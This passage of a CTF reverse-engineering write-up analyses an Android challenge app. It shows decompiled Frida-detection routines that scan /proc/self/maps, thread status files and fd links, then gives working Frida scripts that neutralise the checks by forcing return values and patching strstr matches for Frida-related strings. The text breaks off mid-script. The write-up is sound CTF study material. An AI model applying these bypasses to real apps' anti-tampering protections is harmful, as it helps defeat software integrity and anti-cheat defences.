      v66 = 0u;
      v65 = 0u;
      v64 = 0u;
      v63 = 0u;
      v62 = 0u;
      v61 = 0u;
      v60 = 0u;
      v59 = 0u;
      v58 = 0u;
      v57 = 0u;
      v56 = 0u;
      v55 = 0u;
      v54 = 0u;
      v53 = 0u;
      v52 = 0u;
      v51 = 0u;
      if ( strcmp(v12->d_name, byte_410DC) )
      {
        if ( strcmp(v12->d_name, byte_410E0) )
        {
          snprintf((char *)&v51, 0x100u, (const char *)off_41058, v12->d_name);
          fd = linux_eabi_syscall(__NR_openat, -100, (const char *)&v51, 0x80000);
          if ( fd )
          {
            v82 = 0u;
            v81 = 0u;
            v80 = 0u;
            v79 = 0u;
            v78 = 0u;
            v77 = 0u;
            v76 = 0u;
            v75 = 0u;
            v74 = 0u;
            v73 = 0u;
            v72 = 0u;
            v71 = 0u;
            v70 = 0u;
            v69 = 0u;
            v68 = 0u;
            v67 = 0u;
            sub_11F14(fd, &v67, 256LL, 0LL);
            if ( strstr((const char *)&v67, (const char *)off_41060)
              || strstr((const char *)&v67, (const char *)off_41068) )
            {
              dword_0 = 100;
            }
            close(fd);
          }
        }
      }
    }
    closedir(dirp);
  }
  v15 = opendir(off_41070);
  if ( v15 )
  {
    while ( 1 )
    {
      v14 = readdir(v15);
      if ( !v14 )
        break;
      v66 = 0u;
      v65 = 0u;
      v64 = 0u;
      v63 = 0u;
      v62 = 0u;
      v61 = 0u;
      v60 = 0u;
      v59 = 0u;
      v58 = 0u;
      v57 = 0u;
      v56 = 0u;
      v55 = 0u;
      v54 = 0u;
      v53 = 0u;
      v52 = 0u;
      v51 = 0u;
      v82 = 0u;
      v81 = 0u;
      v80 = 0u;
      v79 = 0u;
      v78 = 0u;
      v77 = 0u;
      v76 = 0u;
      v75 = 0u;
      v74 = 0u;
      v73 = 0u;
      v72 = 0u;
      v71 = 0u;
      v70 = 0u;
      v69 = 0u;
      v68 = 0u;
      v67 = 0u;
      snprintf((char *)&v67, 0x100u, byte_410F0, v14->d_name);
      lstat((const char *)&v67, (struct stat *)v34);
      if ( (v35 & 0xF000) == 40960 )
      {
        linux_eabi_syscall(__NR_readlinkat, -100, (const char *)&v67, (char *)&v51, 0x100u);
        if ( strstr((const char *)&v51, (const char *)off_41078) )
          dword_0 = 100;
      }
    }
  }
  v30 = 0LL;
  closedir(v15);
  if ( (unsigned int)sub_17B34(vm, &v30, 65542LL) )
  {
    v8 = -1;
  }
  else
  {
    v6 = sub_17B80(v30, &unk_41190);
    v49 = sub_8965;
    v48 = *(_OWORD *)&off_3DD00;
    sub_17BC4(v30, v6, &v48, 1LL);
    v16 = strlen(byte_41088);
    v3 = 0LL;
    v17 = linux_eabi_syscall(__NR_openat, -100, byte_41094, 0);
    if ( v17 >= 1 )
    {
      while ( (int)sub_11810((unsigned int)v17, v50, 512LL, v3) >= 1 )
      {
        if ( strstr(v50, a3Z) )
          dword_0 = 100;
        v66 = 0u;
        v65 = 0u;
        v64 = 0u;
        v63 = 0u;
        v62 = 0u;
        v61 = 0u;
        v60 = 0u;
        v59 = 0u;
        v58 = 0u;
        v57 = 0u;
        v56 = 0u;
        v55 = 0u;
        v54 = 0u;
        v53 = 0u;
        v52 = 0u;
        v51 = 0u;
        v47 = 0;
        v46 = 0;
        if ( sscanf(v50, byte_410B0, &v37, &v36, &v46, &v38, &v51) == 5
          && (unsigned __int8)v46 == 114
          && HIBYTE(v46) == 112
          && !v38
          && strlen((const char *)&v51)
          && (unsigned __int8)v51 != 91
          && (unsigned __int64)(v36 - v37) > 0xF4240
          && !(unsigned int)sub_11AC8(&v51, aDJ)
          && strstr((const char *)&v51, aZ) != (char *)&v51
          && (unsigned int)sub_116D0(v37, v36, byte_41088, v16) == 1 )
        {
          dword_0 = 100;
          break;
        }
      }
    }
    v20 = opendir((const char *)off_41050);
    if ( v20 )
    {
      while ( 1 )
      {
        v19 = readdir(v20);
        if ( !v19 )
          break;
        v66 = 0u;
        v65 = 0u;
        v64 = 0u;
        v63 = 0u;
        v62 = 0u;
        v61 = 0u;
        v60 = 0u;
        v59 = 0u;
        v58 = 0u;
        v57 = 0u;
        v56 = 0u;
        v55 = 0u;
        v54 = 0u;
        v53 = 0u;
        v52 = 0u;
        v51 = 0u;
        if ( strcmp(v19->d_name, byte_410DC) )
        {
          if ( strcmp(v19->d_name, byte_410E0) )
          {
            snprintf((char *)&v51, 0x100u, (const char *)off_41058, v19->d_name);
            v18 = linux_eabi_syscall(__NR_openat, -100, (const char *)&v51, 0x80000);
            if ( v18 )
            {
              v82 = 0u;
              v81 = 0u;
              v80 = 0u;
              v79 = 0u;
              v78 = 0u;
              v77 = 0u;
              v76 = 0u;
              v75 = 0u;
              v74 = 0u;
              v73 = 0u;
              v72 = 0u;
              v71 = 0u;
              v70 = 0u;
              v69 = 0u;
              v68 = 0u;
              v67 = 0u;
              sub_11F14(v18, &v67, 256LL, 0LL);
              if ( strstr((const char *)&v67, (const char *)off_41060)
                || strstr((const char *)&v67, (const char *)off_41068) )
              {
                dword_0 = 100;
              }
              close(v18);
            }
          }
        }
      }
      closedir(v20);
    }
    v22 = opendir(off_41070);
    if ( v22 )
    {
      while ( 1 )
      {
        v21 = readdir(v22);
        if ( !v21 )
          break;
        v66 = 0u;
        v65 = 0u;
        v64 = 0u;
        v63 = 0u;
        v62 = 0u;
        v61 = 0u;
        v60 = 0u;
        v59 = 0u;
        v58 = 0u;
        v57 = 0u;
        v56 = 0u;
        v55 = 0u;
        v54 = 0u;
        v53 = 0u;
        v52 = 0u;
        v51 = 0u;
        v82 = 0u;
        v81 = 0u;
        v80 = 0u;
        v79 = 0u;
        v78 = 0u;
        v77 = 0u;
        v76 = 0u;
        v75 = 0u;
        v74 = 0u;
        v73 = 0u;
        v72 = 0u;
        v71 = 0u;
        v70 = 0u;
        v69 = 0u;
        v68 = 0u;
        v67 = 0u;
        snprintf((char *)&v67, 0x100u, byte_410F0, v21->d_name);
        lstat((const char *)&v67, (struct stat *)v39);
        if ( (v40 & 0xF000) == 40960 )
        {
          linux_eabi_syscall(__NR_readlinkat, -100, (const char *)&v67, (char *)&v51, 0x100u);
          if ( strstr((const char *)&v51, (const char *)off_41078) )
            dword_0 = 100;
        }
      }
    }
    closedir(v22);
    v23 = strlen(byte_41088);
    v4 = 0LL;
    v24 = linux_eabi_syscall(__NR_openat, -100, byte_41094, 0);
    if ( v24 >= 1 )
    {
      while ( (int)sub_11810((unsigned int)v24, v50, 512LL, v4) >= 1 )
      {
        if ( strstr(v50, a3Z) )
          dword_0 = 100;
        v66 = 0u;
        v65 = 0u;
        v64 = 0u;
        v63 = 0u;
        v62 = 0u;
        v61 = 0u;
        v60 = 0u;
        v59 = 0u;
        v58 = 0u;
        v57 = 0u;
        v56 = 0u;
        v55 = 0u;
        v54 = 0u;
        v53 = 0u;
        v52 = 0u;
        v51 = 0u;
        v47 = 0;
        v46 = 0;
        if ( sscanf(v50, byte_410B0, &v42, &v41, &v46, &v43, &v51) == 5
          && (unsigned __int8)v46 == 114
          && HIBYTE(v46) == 112
          && !v43
          && strlen((const char *)&v51)
          && (unsigned __int8)v51 != 91
          && (unsigned __int64)(v41 - v42) > 0xF4240
          && !(unsigned int)sub_11AC8(&v51, aDJ)
          && strstr((const char *)&v51, aZ) != (char *)&v51
          && (unsigned int)sub_116D0(v42, v41, byte_41088, v23) == 1 )
        {
          dword_0 = 100;
          break;
        }
      }
    }
    v27 = opendir((const char *)off_41050);
    if ( v27 )
    {
      while ( 1 )
      {
        v26 = readdir(v27);
        if ( !v26 )
          break;
        v66 = 0u;
        v65 = 0u;
        v64 = 0u;
        v63 = 0u;
        v62 = 0u;
        v61 = 0u;
        v60 = 0u;
        v59 = 0u;
        v58 = 0u;
        v57 = 0u;
        v56 = 0u;
        v55 = 0u;
        v54 = 0u;
        v53 = 0u;
        v52 = 0u;
        v51 = 0u;
        if ( strcmp(v26->d_name, byte_410DC) )
        {
          if ( strcmp(v26->d_name, byte_410E0) )
          {
            snprintf((char *)&v51, 0x100u, (const char *)off_41058, v26->d_name);
            v25 = linux_eabi_syscall(__NR_openat, -100, (const char *)&v51, 0x80000);
            if ( v25 )
            {
              v82 = 0u;
              v81 = 0u;
              v80 = 0u;
              v79 = 0u;
              v78 = 0u;
              v77 = 0u;
              v76 = 0u;
              v75 = 0u;
              v74 = 0u;
              v73 = 0u;
              v72 = 0u;
              v71 = 0u;
              v70 = 0u;
              v69 = 0u;
              v68 = 0u;
              v67 = 0u;
              sub_11F14(v25, &v67, 256LL, 0LL);
              if ( strstr((const char *)&v67, (const char *)off_41060)
                || strstr((const char *)&v67, (const char *)off_41068) )
              {
                dword_0 = 100;
              }
              close(v25);
            }
          }
        }
      }
      closedir(v27);
    }
    v29 = opendir(off_41070);
    if ( v29 )
    {
      while ( 1 )
      {
        v28 = readdir(v29);
        if ( !v28 )
          break;
        v66 = 0u;
        v65 = 0u;
        v64 = 0u;
        v63 = 0u;
        v62 = 0u;
        v61 = 0u;
        v60 = 0u;
        v59 = 0u;
        v58 = 0u;
        v57 = 0u;
        v56 = 0u;
        v55 = 0u;
        v54 = 0u;
        v53 = 0u;
        v52 = 0u;
        v51 = 0u;
        v82 = 0u;
        v81 = 0u;
        v80 = 0u;
        v79 = 0u;
        v78 = 0u;
        v77 = 0u;
        v76 = 0u;
        v75 = 0u;
        v74 = 0u;
        v73 = 0u;
        v72 = 0u;
        v71 = 0u;
        v70 = 0u;
        v69 = 0u;
        v68 = 0u;
        v67 = 0u;
        snprintf((char *)&v67, 0x100u, byte_410F0, v28->d_name);
        lstat((const char *)&v67, (struct stat *)v44);
        if ( (v45 & 0xF000) == 40960 )
        {
          linux_eabi_syscall(__NR_readlinkat, -100, (const char *)&v67, (char *)&v51, 0x100u);
          if ( strstr((const char *)&v51, (const char *)off_41078) )
            dword_0 = 100;
        }
      }
    }
    v8 = 65542;
    closedir(v29);
  }
  _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
  return v8;
}

You see that SVC is used in the JNI_OnLoad function to directly interact with the kernel. These SVC assemblies mainly perform operations such as file access. At the same time, some key strings are encrypted, so static analysis cannot directly see the information relevant strings. After the app’s module is loaded, compare it with the decrypted string in the memory. Then use ida to directly attach the current app process. At this time, you can clearly see that the relevant string has been decrypted, as follows picture:

Combined with the above code after f5, you can quickly find that the /proc/self/maps file is accessed by the JNI_OnLoad function, and at the same time traverse the current app process thread information file under /proc/self/task/, that is, the status file, and at the same time check /proc/ The self/fd directory is traversed. The svc-related syscall operations here are mainly used for feature detection of frida. Also, in the import table, you can see that the pthread_create function is used to create threads. By cross-referencing the pthread_create function, you can quickly locate the called place, and the corresponding thread function is as follows:

主界面
At this point, you can quickly locate the thread function as sub_12EE4, and the following is the code after f5 om ida:

void __noreturn sub_12EE4()
{
  size_t v0; // [xsp+BCh] [xbp-6F4h]
  char v1[512]; // [xsp+D0h] [xbp-6E0h] BYREF
  __int64 v2; // [xsp+2D0h] [xbp-4E0h] BYREF
  __int64 v3; // [xsp+2D8h] [xbp-4D8h] BYREF
  __int64 v4; // [xsp+2E0h] [xbp-4D0h] BYREF
  int v5; // [xsp+2E8h] [xbp-4C8h] BYREF
  char v6; // [xsp+2ECh] [xbp-4C4h]
  __int128 v7; // [xsp+2F0h] [xbp-4C0h] BYREF
  __int128 v8; // [xsp+300h] [xbp-4B0h]
  __int128 v9; // [xsp+310h] [xbp-4A0h]
  __int128 v10; // [xsp+320h] [xbp-490h]
  __int128 v11; // [xsp+330h] [xbp-480h]
  __int128 v12; // [xsp+340h] [xbp-470h]
  __int128 v13; // [xsp+350h] [xbp-460h]
  __int128 v14; // [xsp+360h] [xbp-450h]
  __int128 v15; // [xsp+370h] [xbp-440h]
  __int128 v16; // [xsp+380h] [xbp-430h]
  __int128 v17; // [xsp+390h] [xbp-420h]
  __int128 v18; // [xsp+3A0h] [xbp-410h]
  __int128 v19; // [xsp+3B0h] [xbp-400h]
  __int128 v20; // [xsp+3C0h] [xbp-3F0h]
  __int128 v21; // [xsp+3D0h] [xbp-3E0h]
  __int128 v22; // [xsp+3E0h] [xbp-3D0h]
  int v23; // [xsp+3FCh] [xbp-3B4h]
  int v24; // [xsp+400h] [xbp-3B0h]
  int v25; // [xsp+404h] [xbp-3ACh]
  char *v26; // [xsp+408h] [xbp-3A8h]
  int v27; // [xsp+414h] [xbp-39Ch]
  __int64 v28; // [xsp+418h] [xbp-398h]
  __int64 v29; // [xsp+420h] [xbp-390h]
  char *v30; // [xsp+428h] [xbp-388h]
  __int64 v31; // [xsp+430h] [xbp-380h]
  __int64 v32; // [xsp+438h] [xbp-378h]
  __int64 v33; // [xsp+440h] [xbp-370h]
  __int64 v34; // [xsp+448h] [xbp-368h]
  char *v35; // [xsp+450h] [xbp-360h]
  __int64 v36; // [xsp+458h] [xbp-358h]
  __int64 v37; // [xsp+460h] [xbp-350h]
  char *v38; // [xsp+468h] [xbp-348h]
  char *v39; // [xsp+470h] [xbp-340h]
  char *needle; // [xsp+478h] [xbp-338h]
  char *haystack; // [xsp+480h] [xbp-330h]
  const char *v42; // [xsp+488h] [xbp-328h]
  __int128 *v43; // [xsp+490h] [xbp-320h]
  char *v44; // [xsp+498h] [xbp-318h]
  char *v45; // [xsp+4A0h] [xbp-310h]
  __int64 v46; // [xsp+4A8h] [xbp-308h]
  __int128 v47; // [xsp+4B0h] [xbp-300h] BYREF
  __int128 v48; // [xsp+4C0h] [xbp-2F0h]
  __int128 v49; // [xsp+4D0h] [xbp-2E0h]
  __int128 v50; // [xsp+4E0h] [xbp-2D0h]
  __int128 v51; // [xsp+4F0h] [xbp-2C0h]
  __int128 v52; // [xsp+500h] [xbp-2B0h]
  __int128 v53; // [xsp+510h] [xbp-2A0h]
  __int128 v54; // [xsp+520h] [xbp-290h]
  __int128 v55; // [xsp+530h] [xbp-280h]
  __int128 v56; // [xsp+540h] [xbp-270h]
  __int128 v57; // [xsp+550h] [xbp-260h]
  __int128 v58; // [xsp+560h] [xbp-250h]
  __int128 v59; // [xsp+570h] [xbp-240h]
  __int128 v60; // [xsp+580h] [xbp-230h]
  __int128 v61; // [xsp+590h] [xbp-220h]
  __int128 v62; // [xsp+5A0h] [xbp-210h]
  int fd; // [xsp+5BCh] [xbp-1F4h]
  struct dirent *v64; // [xsp+5C0h] [xbp-1F0h]
  DIR *dirp; // [xsp+5C8h] [xbp-1E8h]
  int v66; // [xsp+5D0h] [xbp-1E0h]
  int v67; // [xsp+5D4h] [xbp-1DCh]
  __int128 *v68; // [xsp+5D8h] [xbp-1D8h]
  int v69; // [xsp+5E4h] [xbp-1CCh]
  __int64 v70; // [xsp+5E8h] [xbp-1C8h]
  __int64 v71; // [xsp+5F0h] [xbp-1C0h]
  __int128 *v72; // [xsp+5F8h] [xbp-1B8h]
  __int64 v73; // [xsp+600h] [xbp-1B0h]
  __int64 v74; // [xsp+608h] [xbp-1A8h]
  __int64 v75; // [xsp+610h] [xbp-1A0h]
  __int64 v76; // [xsp+618h] [xbp-198h]
  __int128 *v77; // [xsp+620h] [xbp-190h]
  __int64 v78; // [xsp+628h] [xbp-188h]
  __int64 v79; // [xsp+630h] [xbp-180h]
  void *v80; // [xsp+638h] [xbp-178h]
  __int128 *v81; // [xsp+640h] [xbp-170h]
  char *v82; // [xsp+648h] [xbp-168h]
  char *v83; // [xsp+650h] [xbp-160h]
  void *v84; // [xsp+658h] [xbp-158h]
  __int128 *v85; // [xsp+660h] [xbp-150h]
  char *v86; // [xsp+668h] [xbp-148h]
  char *v87; // [xsp+670h] [xbp-140h]
  __int64 v88; // [xsp+678h] [xbp-138h]
  char v89[16]; // [xsp+680h] [xbp-130h] BYREF
  int v90; // [xsp+690h] [xbp-120h]
  struct dirent *v91; // [xsp+700h] [xbp-B0h]
  DIR *v92; // [xsp+708h] [xbp-A8h]
  __int64 v93; // [xsp+710h] [xbp-A0h]
  __int128 *v94; // [xsp+718h] [xbp-98h]
  __int128 *v95; // [xsp+720h] [xbp-90h]
  int v96; // [xsp+72Ch] [xbp-84h]
  __int64 v97; // [xsp+730h] [xbp-80h]
  __int128 *v98; // [xsp+738h] [xbp-78h]
  __int128 *v99; // [xsp+740h] [xbp-70h]
  __int64 v100; // [xsp+748h] [xbp-68h]
  __int64 v101; // [xsp+750h] [xbp-60h]
  __int64 v102; // [xsp+758h] [xbp-58h]
  __int128 *v103; // [xsp+760h] [xbp-50h]
  __int128 *v104; // [xsp+768h] [xbp-48h]
  __int64 v105; // [xsp+770h] [xbp-40h]
  __int64 v106; // [xsp+778h] [xbp-38h]
  void *v107; // [xsp+780h] [xbp-30h]
  __int128 *v108; // [xsp+788h] [xbp-28h]
  void *v109; // [xsp+790h] [xbp-20h]
  __int128 *v110; // [xsp+798h] [xbp-18h]

  while ( 1 )
  {
    v0 = strlen(byte_41088);
    v27 = -100;
    v26 = byte_41094;
    v25 = 0;
    v24 = 0;
    v37 = 56LL;
    v36 = -100LL;
    v35 = byte_41094;
    v34 = 0LL;
    v33 = 0LL;
    v32 = 56LL;
    v31 = -100LL;
    v30 = byte_41094;
    v29 = 0LL;
    v28 = 0LL;
    v31 = linux_eabi_syscall(__NR_openat, -100, byte_41094, 0);
    v23 = v31;
    if ( (int)v31 >= 1 )
    {
      while ( 1 )
      {
        if ( (int)my_read(v23, v1, 0x200u) < 1 )
          goto LABEL_17;
        v39 = v1;
        v38 = a3Z;
        haystack = v1;
        needle = a3Z;
        if ( strstr(v1, a3Z) )
          dword_0 = 100;
        v22 = 0u;
        v21 = 0u;
        v20 = 0u;
        v19 = 0u;
        v18 = 0u;
        v17 = 0u;
        v16 = 0u;
        v15 = 0u;
        v14 = 0u;
        v13 = 0u;
        v12 = 0u;
        v11 = 0u;
        v10 = 0u;
        v9 = 0u;
        v8 = 0u;
        v7 = 0u;
        v6 = 0;
        v5 = 0;
        if ( sscanf(v1, byte_410B0, &v3, &v2, &v5, &v4, &v7) == 5
          && (unsigned __int8)v5 == 114
          && HIBYTE(v5) == 112
          && !v4 )
        {
          if ( strlen((const char *)&v7) )
          {
            if ( (unsigned __int8)v7 != 91
              && (unsigned __int64)(v2 - v3) > 0xF4240
              && !sub_11AC8((const char *)&v7, aDJ) )
            {
              v43 = &v7;
              v42 = aZ;
              v45 = (char *)&v7;
              v44 = aZ;
              if ( strstr((const char *)&v7, aZ) != (char *)&v7 && (unsigned int)sub_116D0(v3, v2, byte_41088, v0) == 1 )
                break;
            }
          }
        }
      }
      dword_0 = 100;
    }
LABEL_17:
    dirp = opendir((const char *)off_41050);
    if ( dirp )
    {
      v64 = 0LL;
      while ( 1 )
      {
        v64 = readdir(dirp);
        if ( !v64 )
          break;
        v22 = 0u;
        v21 = 0u;
        v20 = 0u;
        v19 = 0u;
        v18 = 0u;
        v17 = 0u;
        v16 = 0u;
        v15 = 0u;
        v14 = 0u;
        v13 = 0u;
        v12 = 0u;
        v11 = 0u;
        v10 = 0u;
        v9 = 0u;
        v8 = 0u;
        v7 = 0u;
        if ( strcmp(v64->d_name, byte_410DC) )
        {
          if ( strcmp(v64->d_name, byte_410E0) )
          {
            snprintf((char *)&v7, 0x100u, (const char *)off_41058, v64->d_name);
            v69 = -100;
            v68 = &v7;
            v67 = 0x80000;
            v66 = 0;
            v79 = 56LL;
            v78 = -100LL;
            v77 = &v7;
            v76 = 0x80000LL;
            v75 = 0LL;
            v74 = 56LL;
            v73 = -100LL;
            v72 = &v7;
            v71 = 0x80000LL;
            v70 = 0LL;
            v73 = linux_eabi_syscall(__NR_openat, -100, (const char *)&v7, 0x80000);
            fd = v73;
            if ( (_DWORD)v73 )
            {
              v62 = 0u;
              v61 = 0u;
              v60 = 0u;
              v59 = 0u;
              v58 = 0u;
              v57 = 0u;
              v56 = 0u;
              v55 = 0u;
              v54 = 0u;
              v53 = 0u;
              v52 = 0u;
              v51 = 0u;
              v50 = 0u;
              v49 = 0u;
              v48 = 0u;
              v47 = 0u;
              sub_11F14((unsigned int)fd, &v47, 256LL, 0LL);
              v81 = &v47;
              v80 = off_41060;
              v83 = (char *)&v47;
              v82 = (char *)off_41060;
              if ( strstr((const char *)&v47, (const char *)off_41060)
                || (v85 = &v47,
                    v84 = off_41068,
                    v87 = (char *)&v47,
                    v86 = (char *)off_41068,
                    strstr((const char *)&v47, (const char *)off_41068)) )
              {
                v46 = 0LL;
                dword_0 = 100;
              }
              close(fd);
            }
          }
        }
      }
      closedir(dirp);
    }
    v92 = opendir(off_41070);
    if ( v92 )
    {
      v91 = 0LL;
      while ( 1 )
      {
        v91 = readdir(v92);
        if ( !v91 )
          break;
        v22 = 0u;
        v21 = 0u;
        v20 = 0u;
        v19 = 0u;
        v18 = 0u;
        v17 = 0u;
        v16 = 0u;
        v15 = 0u;
        v14 = 0u;
        v13 = 0u;
        v12 = 0u;
        v11 = 0u;
        v10 = 0u;
        v9 = 0u;
        v8 = 0u;
        v7 = 0u;
        v62 = 0u;
        v61 = 0u;
        v60 = 0u;
        v59 = 0u;
        v58 = 0u;
        v57 = 0u;
        v56 = 0u;
        v55 = 0u;
        v54 = 0u;
        v53 = 0u;
        v52 = 0u;
        v51 = 0u;
        v50 = 0u;
        v49 = 0u;
        v48 = 0u;
        v47 = 0u;
        snprintf((char *)&v47, 0x100u, byte_410F0, v91->d_name);
        lstat((const char *)&v47, (struct stat *)v89);
        if ( (v90 & 0xF000) == 40960 )
        {
          v96 = -100;
          v95 = &v47;
          v94 = &v7;
          v93 = 256LL;
          v106 = 78LL;
          v105 = -100LL;
          v104 = &v47;
          v103 = &v7;
          v102 = 256LL;
          v101 = 78LL;
          v100 = -100LL;
          v99 = &v47;
          v98 = &v7;
          v97 = 256LL;
          v100 = linux_eabi_syscall(__NR_readlinkat, -100, (const char *)&v47, (char *)&v7, 0x100u);
          v108 = &v7;
          v107 = off_41078;
          v110 = &v7;
          v109 = off_41078;
          if ( strstr((const char *)&v7, (const char *)off_41078) )
          {
            v88 = 0LL;
            dword_0 = 100;
          }
        }
      }
    }
    closedir(v92);
    sleep(2u);
  }
}

Combined with the relevant string information after the dynamic attach of ida, you can quickly find that this thread function is also mainly used to detect frida features. Therefore, you can write a frida script to directly replace the call of the function sub_136F8, and bypass the function call Frida’s detection thread.

function LogPrint(log) {
    var theDate = new Date();
    var hour = theDate.getHours();
    var minute = theDate.getMinutes();
    var second = theDate.getSeconds();
    var mSecond = theDate.getMilliseconds();

    hour < 10 ? hour = "0" + hour : hour;
    minute < 10 ? minute = "0" + minute : minute;
    second < 10 ? second = "0" + second : second;
    mSecond < 10 ? mSecond = "00" + mSecond : mSecond < 100 ? mSecond = "0" + mSecond : mSecond;
    var time = hour + ":" + minute + ":" + second + ":" + mSecond;
    var threadid = Process.getCurrentThreadId();
    console.log("[" + time + "]" + "->threadid:" + threadid + "--" + log);

}
function hooklibc() {
    var libcmodule = Process.getModuleByName("libc.so");
    var __openat = null;
    libcmodule.enumerateSymbols().forEach(function (symbol) {
        if (symbol.name == "__openat") {
            console.warn("find __openat->" + JSON.stringify(symbol));
            __openat = symbol.address;
        }

    });
    Interceptor.attach(__openat, {
        onEnter: function (args) {
            this.filepath = args[1].readCString();
            console.warn("start __openat:" + this.filepath);

        }, onLeave: function (retval) {
            console.warn("start __openat:" + this.filepath + ",retval:" + retval);
        }
    })
}
var ishooked = false;
function hook_constructor() {
    if (Process.pointerSize == 4) {
        var linker = Process.findModuleByName("linker");
    } else {
        var linker = Process.findModuleByName("linker64");
    }

    var addr_call_function = null;
    var addr_g_ld_debug_verbosity = null;
    var addr_async_safe_format_log = null;
    if (linker) {
        //console.log("found linker");
        var symbols = linker.enumerateSymbols();
        for (var i = 0; i < symbols.length; i++) {
            var name = symbols[i].name;
            if (name.indexOf("call_function") >= 0) {
                addr_call_function = symbols[i].address;
                // console.log("call_function",JSON.stringify(symbols[i]));
            } else if (name.indexOf("g_ld_debug_verbosity") >= 0) {
                addr_g_ld_debug_verbosity = symbols[i].address;

                ptr(addr_g_ld_debug_verbosity).writeInt(2);

            } else if (name.indexOf("async_safe_format_log") >= 0 && name.indexOf('va_list') < 0) {
                // console.log("async_safe_format_log",JSON.stringify(symbols[i]));
                addr_async_safe_format_log = symbols[i].address;

            }

        }
    }
    if (addr_async_safe_format_log) {
        Interceptor.attach(addr_async_safe_format_log, {
            onEnter: function (args) {
                this.log_level = args[0];
                this.tag = ptr(args[1]).readCString()
                this.fmt = ptr(args[2]).readCString()
                if (this.fmt.indexOf("c-tor") >= 0 && this.fmt.indexOf('Done') < 0) {
                    this.function_type = ptr(args[3]).readCString(), // func_type
                        this.so_path = ptr(args[5]).readCString();
                    var strs = new Array(); //定义一数组
                    strs = this.so_path.split("/"); //字符分割
                    this.so_name = strs.pop();
                    this.func_offset = ptr(args[4]).sub(Module.findBaseAddress(this.so_name))
                    console.log("func_type:", this.function_type,
                        '\nso_name:', this.so_name,
                        '\nso_path:', this.so_path,
                        '\nfunc_offset:', this.func_offset
                    );
                    if (this.function_type == "function" && this.so_name == "libCheckYourKey.so") {
                        if (ishooked == false) {
                            ishooked = true;
                            var libnativelib = Process.getModuleByName("libCheckYourKey.so");
                            var sub_116D0 = libnativelib.base.add(0x116d0);
                            Interceptor.attach(sub_116D0, {
                                onEnter: function (args) {

                                }, onLeave: function (retval) {
                                    retval.replace(0x0);

                                }
                            })
                        }

                    }
                    // hook代码在这加
                }
            },
            onLeave: function (retval) {
            }
        })
    }


}
function hooklibc() {
    var libcmodule = Process.getModuleByName("libc.so");
    var strstraddr = libcmodule.getExportByName("strstr");
    Interceptor.attach(strstraddr, {
            onEnter: function (args) {
                this.arg0 = ptr(args[0]).readUtf8String();
                this.arg1 = ptr(args[1]).readUtf8String();
            }, onLeave: function (retval) {
                //LogPrint("strstr(" + this.arg0 + "," + this.arg1);
                if (this.arg0.indexOf("frida") != -1) {
                    retval.replace(0x0);
                }
                if (this.arg1.indexOf("gum-js-loop") != -1 || this.arg1.indexOf("gmain") != -1) {
                    retval.replace(0x0);
                }
                //linjector
                if (this.arg1.indexOf("linjector") != -1) {
                    retval.replace(0x0);
                }
            }
        }
    )
}

function main() {
    hook_constructor();
    hooklibc();
}

setImmediate(main)

The above frida script is mainly to hook the frida features collected by the app and the related functions used for comparison to bypass. Next, you can use frida to analyze the running process of the app

First, you can hook the statically registered Java_com_ctf_CheckYourKey_MainActivity_ooxx function corresponding to ooxx after so loading is completed. The hook code is as follows:

function LogPrint(log) {
    var theDate = new Date();
    var hour = theDate.getHours();
    var minute = theDate.getMinutes();
    var second = theDate.getSeconds();
    var mSecond = theDate.getMilliseconds();

    hour < 10 ? hour = "0" + hour : hour;
    minute < 10 ? minute = "0" + minute : minute;
    second < 10 ? second = "0" + second : second;
    mSecond < 10 ? mSecond = "00" + mSecond : mSecond < 100 ? mSecond = "0" + mSecond : mSecond;
    var time = hour + ":" + minute + ":" + second + ":" + mSecond;
    var threadid = Process.getCurrentThreadId();
    console.log("[" + time + "]" + "->threadid:" + threadid + "--" + log);

}

function hooklibc() {
    var libcmodule = Process.getModuleByName("libc.so");
    var __openat = null;
    libcmodule.enumerateSymbols().forEach(function (symbol) {
        if (symbol.name == "__openat") {
            console.warn("find __openat->" + JSON.stringify(symbol));
            __openat = symbol.address;
        }

    });
    Interceptor.attach(__openat, {
        onEnter: function (args) {
            this.filepath = args[1].readCString();
            console.warn("start __openat:" + this.filepath);

        }, onLeave: function (retval) {
            console.warn("start __openat:" + this.filepath + ",retval:" + retval);
        }
    })
}

var ishooked = false;

function hook_constructor() {
    if (Process.pointerSize == 4) {
        var linker = Process.findModuleByName("linker");
    } else {
        var linker = Process.findModuleByName("linker64");
    }

    var addr_call_function = null;
    var addr_g_ld_debug_verbosity = null;
    var addr_async_safe_format_log = null;
    if (linker) {
        //console.log("found linker");
        var symbols = linker.enumerateSymbols();
        for (var i = 0; i < symbols.length; i++) {
            var name = symbols[i].name;
            if (name.indexOf("call_function") >= 0) {
                addr_call_function = symbols[i].address;
                // console.log("call_function",JSON.stringify(symbols[i]));
            } else if (name.indexOf("g_ld_debug_verbosity") >= 0) {
                addr_g_ld_debug_verbosity = symbols[i].address;

                ptr(addr_g_ld_debug_verbosity).writeInt(2);

            } else if (name.indexOf("async_safe_format_log") >= 0 && name.indexOf('va_list') < 0) {
                // console.log("async_safe_format_log",JSON.stringify(symbols[i]));
                addr_async_safe_format_log = symbols[i].address;

            }

        }
    }
    if (addr_async_safe_format_log) {
        Interceptor.attach(addr_async_safe_format_log, {
            onEnter: function (args) {
                this.log_level = args[0];
                this.tag = ptr(args[1]).readCString()
                this.fmt = ptr(args[2]).readCString()
                if (this.fmt.indexOf("c-tor") >= 0 && this.fmt.indexOf('Done') < 0) {
                    this.function_type = ptr(args[3]).readCString(), // func_type
                        this.so_path = ptr(args[5]).readCString();
                    var strs = new Array(); //定义一数组
                    strs = this.so_path.split("/"); //字符分割
                    this.so_name = strs.pop();
                    this.func_offset = ptr(args[4]).sub(Module.findBaseAddress(this.so_name))
                    console.log("func_type:", this.function_type,
                        '\nso_name:', this.so_name,
                        '\nso_path:', this.so_path,
                        '\nfunc_offset:', this.func_offset
                    );
                    if (this.function_type == "function" && this.so_name == "libCheckYourKey.so") {
                        if (ishooked == false) {
                            ishooked = true;
                            var libnativelib = Process.getModuleByName("libCheckYourKey.so");
                            var sub_116D0 = libnativelib.base.add(0x116d0);
                            Interceptor.attach(sub_116D0, {
                                onEnter: function (args) {

                                }, onLeave: function (retval) {
                                    retval.replace(0x0);

                                }
                            })
                            var Java_com_ctf_CheckYourKey_MainActivity_ooxx = libnativelib.getExportByName("Java_com_ctf_CheckYourKey_MainActivity_ooxx");
                            console.warn(Java_com_ctf_CheckYourKey_MainActivity_ooxx);
